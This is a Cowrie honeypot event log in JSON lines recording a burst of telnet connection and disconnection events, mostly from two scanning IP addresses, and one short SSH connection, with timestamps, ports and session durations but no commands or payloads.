{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49646,"dst_ip":"10.17.0.5","dst_port":23,"session":"016c66a34481","protocol":"telnet","message":"New connection: 208.115.200.90:49646 (10.17.0.5:23) [session: 016c66a34481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.561847Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49654,"dst_ip":"10.17.0.5","dst_port":23,"session":"968f28bb636e","protocol":"telnet","message":"New connection: 208.115.200.90:49654 (10.17.0.5:23) [session: 968f28bb636e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.664698Z"}
{"eventid":"cowrie.session.closed","duration":31.537017583847046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.696242Z","src_ip":"208.115.200.90","session":"cc9eee6e9c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895533084869385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:44.017708Z","src_ip":"208.115.200.90","session":"dbc48f7a56ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84038496017456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:44.066863Z","src_ip":"208.115.200.90","session":"7f35b5db6fe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06013798713684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:44.290954Z","src_ip":"208.115.200.90","session":"4a0c5f1ded49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972188472747803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:44.349116Z","src_ip":"208.115.200.90","session":"b9a264668ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2776116decc","protocol":"telnet","message":"New connection: 208.115.200.90:38844 (10.17.0.5:23) [session: a2776116decc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:44.375888Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38854,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe05ff227ff","protocol":"telnet","message":"New connection: 208.115.200.90:38854 (10.17.0.5:23) [session: efe05ff227ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:44.575078Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38866,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ac63efc020","protocol":"telnet","message":"New connection: 208.115.200.90:38866 (10.17.0.5:23) [session: 43ac63efc020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:44.584844Z"}
{"eventid":"cowrie.session.closed","duration":30.900489807128906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.083073Z","src_ip":"208.115.200.90","session":"ce7410a93590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48693060874939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.117600Z","src_ip":"208.115.200.90","session":"8a029db0f300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.240792274475098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.134632Z","src_ip":"208.115.200.90","session":"b09b3e720da1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04380774497986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.162234Z","src_ip":"208.115.200.90","session":"354fcafd0727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.477702140808105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.236990Z","src_ip":"208.115.200.90","session":"260591d0029c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38868,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac668cccdf1b","protocol":"telnet","message":"New connection: 208.115.200.90:38868 (10.17.0.5:23) [session: ac668cccdf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.318305Z"}
{"eventid":"cowrie.session.closed","duration":30.913800477981567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.361364Z","src_ip":"208.115.200.90","session":"0a960bb81b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09508228302002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.401667Z","src_ip":"208.115.200.90","session":"c448ac4c495f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38880,"dst_ip":"10.17.0.5","dst_port":23,"session":"a63bf4f91356","protocol":"telnet","message":"New connection: 208.115.200.90:38880 (10.17.0.5:23) [session: a63bf4f91356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.872402Z"}
{"eventid":"cowrie.session.closed","duration":31.790201902389526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:45.960086Z","src_ip":"208.115.200.90","session":"ed807eab9628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.388264179229736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.020867Z","src_ip":"208.115.200.90","session":"30431470e36a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9463050365448,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.051083Z","src_ip":"208.115.219.122","session":"79a4b80451d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38886,"dst_ip":"10.17.0.5","dst_port":23,"session":"b96a877a0601","protocol":"telnet","message":"New connection: 208.115.200.90:38886 (10.17.0.5:23) [session: b96a877a0601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.076698Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38900,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be70f077bfe","protocol":"telnet","message":"New connection: 208.115.200.90:38900 (10.17.0.5:23) [session: 5be70f077bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.230675Z"}
{"eventid":"cowrie.session.closed","duration":30.980295658111572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.320812Z","src_ip":"208.115.200.90","session":"04665eab271a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204796314239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.327867Z","src_ip":"208.115.200.90","session":"0bdc527a2666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57002592086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.427437Z","src_ip":"208.115.200.90","session":"2ee476d21988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54354,"dst_ip":"10.17.0.5","dst_port":23,"session":"3081ca7bd54a","protocol":"telnet","message":"New connection: 208.115.219.122:54354 (10.17.0.5:23) [session: 3081ca7bd54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.541015Z"}
{"eventid":"cowrie.session.closed","duration":31.266276836395264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.549091Z","src_ip":"208.115.200.90","session":"393a9bafb69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d1806fe0947","protocol":"telnet","message":"New connection: 208.115.200.90:38916 (10.17.0.5:23) [session: 5d1806fe0947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.586794Z"}
{"eventid":"cowrie.session.closed","duration":31.258912324905396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.701730Z","src_ip":"208.115.200.90","session":"316da08e8071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38932,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc4b91a10776","protocol":"telnet","message":"New connection: 208.115.200.90:38932 (10.17.0.5:23) [session: dc4b91a10776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:46.891783Z"}
{"eventid":"cowrie.session.closed","duration":30.369110107421875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.045305Z","src_ip":"208.115.200.90","session":"7a803bac8d13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38936,"dst_ip":"10.17.0.5","dst_port":23,"session":"6376351bd3a2","protocol":"telnet","message":"New connection: 208.115.200.90:38936 (10.17.0.5:23) [session: 6376351bd3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.199497Z"}
{"eventid":"cowrie.session.closed","duration":31.23892641067505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.264450Z","src_ip":"208.115.219.122","session":"d2d86e9d5aef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960386991500854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.400702Z","src_ip":"208.115.200.90","session":"384a851923cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38954,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a277eb0ad3a","protocol":"telnet","message":"New connection: 208.115.200.90:38954 (10.17.0.5:23) [session: 0a277eb0ad3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.465608Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"825a9e931480","protocol":"telnet","message":"New connection: 208.115.200.90:38956 (10.17.0.5:23) [session: 825a9e931480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.471470Z"}
{"eventid":"cowrie.session.closed","duration":31.32947039604187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.504901Z","src_ip":"208.115.200.90","session":"e27184f41ceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.434768676757812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.925180Z","src_ip":"208.115.200.90","session":"98983b83c47f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32230830192566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.948271Z","src_ip":"208.115.200.90","session":"e222ebd5b36a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c9513397f38","protocol":"telnet","message":"New connection: 208.115.200.90:38966 (10.17.0.5:23) [session: 3c9513397f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:47.953635Z"}
{"eventid":"cowrie.session.closed","duration":30.972938537597656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.015168Z","src_ip":"208.115.219.122","session":"ed419a5fe8a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.344988346099854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.072323Z","src_ip":"208.115.200.90","session":"49190659637d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.268444538116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.083962Z","src_ip":"208.115.219.122","session":"ae59cca89290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38982,"dst_ip":"10.17.0.5","dst_port":23,"session":"37c49b6858e9","protocol":"telnet","message":"New connection: 208.115.200.90:38982 (10.17.0.5:23) [session: 37c49b6858e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.272069Z"}
{"eventid":"cowrie.session.closed","duration":30.651984691619873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.301776Z","src_ip":"208.115.200.90","session":"036ca6c5fb7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.412212133407593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.481264Z","src_ip":"208.115.219.122","session":"2b59d6857d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38988,"dst_ip":"10.17.0.5","dst_port":23,"session":"130971037d3e","protocol":"telnet","message":"New connection: 208.115.200.90:38988 (10.17.0.5:23) [session: 130971037d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.499300Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38998,"dst_ip":"10.17.0.5","dst_port":23,"session":"049ab809a155","protocol":"telnet","message":"New connection: 208.115.200.90:38998 (10.17.0.5:23) [session: 049ab809a155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.514054Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39010,"dst_ip":"10.17.0.5","dst_port":23,"session":"6874cc7bc571","protocol":"telnet","message":"New connection: 208.115.200.90:39010 (10.17.0.5:23) [session: 6874cc7bc571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.624668Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":39660,"dst_ip":"159.203.135.109","dst_port":22,"session":"45882afb4f4b","protocol":"ssh","message":"New connection: 80.94.92.168:39660 (159.203.135.109:22) [session: 45882afb4f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.794379Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.907612Z","src_ip":"80.94.92.168","session":"45882afb4f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.60746741294861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:48.957719Z","src_ip":"208.115.200.90","session":"3a2b695d8935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536003589630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.016793Z","src_ip":"208.115.219.122","session":"c8a523189ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39012,"dst_ip":"10.17.0.5","dst_port":23,"session":"f435ba41bb44","protocol":"telnet","message":"New connection: 208.115.200.90:39012 (10.17.0.5:23) [session: f435ba41bb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.040472Z"}
{"eventid":"cowrie.session.closed","duration":31.011694192886353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.055245Z","src_ip":"208.115.219.122","session":"b2f874d6546c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046809911727905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.070217Z","src_ip":"208.115.200.90","session":"476a0070d1e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49552011489868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.075378Z","src_ip":"208.115.219.122","session":"fb13b91b4c46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39016,"dst_ip":"10.17.0.5","dst_port":23,"session":"0896a6d3005f","protocol":"telnet","message":"New connection: 208.115.200.90:39016 (10.17.0.5:23) [session: 0896a6d3005f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.210125Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39028,"dst_ip":"10.17.0.5","dst_port":23,"session":"72d00df489ec","protocol":"telnet","message":"New connection: 208.115.200.90:39028 (10.17.0.5:23) [session: 72d00df489ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.281732Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39034,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc34a12d13c","protocol":"telnet","message":"New connection: 208.115.200.90:39034 (10.17.0.5:23) [session: bdc34a12d13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.319017Z"}
{"eventid":"cowrie.session.closed","duration":31.034777879714966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.324866Z","src_ip":"208.115.200.90","session":"62d03489d1d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064083099365234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.416304Z","src_ip":"208.115.200.90","session":"a4e991b24d8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261316061019897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.650741Z","src_ip":"208.115.200.90","session":"c015fbf1c7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39042,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac462504580d","protocol":"telnet","message":"New connection: 208.115.200.90:39042 (10.17.0.5:23) [session: ac462504580d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.686801Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39052,"dst_ip":"10.17.0.5","dst_port":23,"session":"118d58c8d57e","protocol":"telnet","message":"New connection: 208.115.200.90:39052 (10.17.0.5:23) [session: 118d58c8d57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:49.787393Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39060,"dst_ip":"10.17.0.5","dst_port":23,"session":"354653b382c4","protocol":"telnet","message":"New connection: 208.115.200.90:39060 (10.17.0.5:23) [session: 354653b382c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.087434Z"}
{"eventid":"cowrie.session.closed","duration":30.849618196487427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.215316Z","src_ip":"208.115.200.90","session":"97a28b15a099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72849988937378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.221412Z","src_ip":"208.115.200.90","session":"e29421c8511d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496341228485107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.291306Z","src_ip":"208.115.200.90","session":"75d568a09b0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39074,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca251b5b5db","protocol":"telnet","message":"New connection: 208.115.200.90:39074 (10.17.0.5:23) [session: 2ca251b5b5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.416324Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39088,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d26dae08b38","protocol":"telnet","message":"New connection: 208.115.200.90:39088 (10.17.0.5:23) [session: 5d26dae08b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.481148Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39104,"dst_ip":"10.17.0.5","dst_port":23,"session":"df9e44dded0d","protocol":"telnet","message":"New connection: 208.115.200.90:39104 (10.17.0.5:23) [session: df9e44dded0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.799214Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39106,"dst_ip":"10.17.0.5","dst_port":23,"session":"890f9e4b628d","protocol":"telnet","message":"New connection: 208.115.200.90:39106 (10.17.0.5:23) [session: 890f9e4b628d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:50.812334Z"}
{"eventid":"cowrie.session.closed","duration":30.82369065284729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:51.076136Z","src_ip":"208.115.200.90","session":"37868c1f23bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902530193328857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:51.213857Z","src_ip":"208.115.200.90","session":"7446dd5017a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.272791147232056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:51.501484Z","src_ip":"208.115.200.90","session":"5b8edd75c527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39116,"dst_ip":"10.17.0.5","dst_port":23,"session":"447fd5b6285d","protocol":"telnet","message":"New connection: 208.115.200.90:39116 (10.17.0.5:23) [session: 447fd5b6285d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:51.634756Z"}
{"eventid":"cowrie.session.closed","duration":30.488471508026123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.019844Z","src_ip":"208.115.219.122","session":"d3f9dd3ec198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39980673789978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.032032Z","src_ip":"208.115.200.90","session":"1334721de11a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79167127609253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.116595Z","src_ip":"208.115.200.90","session":"eb979f461e13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786856651306152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.121780Z","src_ip":"208.115.219.122","session":"49ceff1443bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39132,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd638fbea915","protocol":"telnet","message":"New connection: 208.115.200.90:39132 (10.17.0.5:23) [session: dd638fbea915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:52.220907Z"}
